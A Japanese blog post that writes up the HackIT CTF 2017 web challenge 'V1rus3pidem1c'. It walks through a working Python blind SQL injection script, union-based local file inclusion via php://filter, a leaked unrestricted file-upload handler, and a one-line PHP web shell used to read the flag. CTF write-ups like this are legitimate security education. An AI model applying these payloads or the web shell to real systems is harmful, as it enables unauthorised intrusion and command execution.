st98 の日記帳


[ctf] HackIT CTF 2017 の write-up

チーム Harekaze で HackIT CTF 2017 に参加しました。最終的にチームで 750 点を獲得し、順位は得点 338 チーム中 39 位でした。うち、私は 1 問を解いて 100 点を入れました。

以下、解いた問題の write-up です。

[Web 100] V1rus3pidem1c

与えられた URL にアクセスすると、国を選択できるフォームが表示されました。

試しに Netherlands を選択して送信すると、ファイルをアップロードできるフォームが表示されました。

このときのパスは /index.php?country=Netherlands となっていました。NetherlandsNetherlands' に変えると何も表示されず、Netherlands' ' に変えるとファイルのアップロードができるフォームが表示されました。また、' or 1;%23 に変えると Germany を選択したときと同じフォームが表示されました。SQLi ができそうです。

Blind SQLi を行うスクリプトを書きましょう。

import requests
import urllib

def query(s):
  r = requests.post(url + urllib.quote(s))
  return r.content

def check(r):
  return 'Select virus for Germany' in r

if __name__ == '__main__':
  url = 'http://tasks.ctf.com.ua:13372/index.php?country='

  res = ''
  i = 1
  while True:
    c = 0
    for b in range(7):
      r = check(query("' or (select ascii(substr({0}, {1}, 1)) & {2});#".format('version()', i, 1 << b)))
      if r: c |= 1 << b
    res += chr(c)
    i += 1
    print repr(res)

実行すると 5.5.38-0ubuntu0.14.04.1 と出力され、MySQL が使われていることが分かりました。

テーブルの構造を調べていきましょう。version()(select group_concat(table_name) from information_schema.tables where table_schema=database()) に変えると countries が出力されました。

countries がどのようなカラムを持つか調べるため (select group_concat(column_name) from information_schema.columns where table_name="countries") に変えると countryID,countryName,scriptPath が出力されました。

countryID は国の ID、countryName は国名と推測できますが、scriptPath とはなんでしょう。(select group_concat(scriptPath) from countries) に変えると country/ge.php,... が出力されました。/country/ne.php にアクセスすると Netherlands を選択した際に表示されたフォームが出力されました。select scriptPath from countries where countryName='(ユーザ入力)' とした結果を include していそうです。

LFI ができないか試してみましょう。/index.php?country=' union select 'php://filter/convert.base64-encode/resource=country/ne.php';%23 にアクセスすると country/ne.php のソースが手に入れられました。

<form action="" method="post" enctype="multipart/form-data">
    <input type="file" name="fileToUpload" id="file" class="inputfile inputfile-4" data-multiple-caption="{count} files selected" multiple />
	<label for="file">
		<figure>
			<img src="static/upload1.png" width="100px;">
		</figure> 
			<span>Select virus for Ne&hellip;</span>
	</label>
	<br>
    <input type="submit" value="Upload Image" name="submit"  class="button">
</form>
		
<?php

	$target_dir = "uploads/";
	$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
	move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file);
	
	/*echo $_FILES["fileToUpload"]["tmp_name"] ."\n";
	var_dump($_FILES["fileToUpload"]);
	var_dump(file_exists($_FILES["fileToUpload"]["tmp_name"]));
	echo file_exists($target_file);*/
?>

アップロードしたファイルは uploads/ 下にあるようです。

shelldayo.php という名前で、以下のような内容のファイルをアップロードしましょう。

<?php
passthru($_GET['s']);

/index.php?country=' union select 'uploads/shelldayo.php';%23&s=ls にアクセスするとファイルの一覧が得られました。

country
index.php
iulersiueruigfuihseruhgi.php
static
uploads

/index.php?country=' union select 'uploads/shelldayo.php';%23&s=cat iulersiueruigfuihseruhgi.php にアクセスするとフラグが得られました。

<?php

$flag="h4ck1t{$QL&LFI=FR13ND$}";

?>
h4ck1t{$QL&LFI=FR13ND$}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳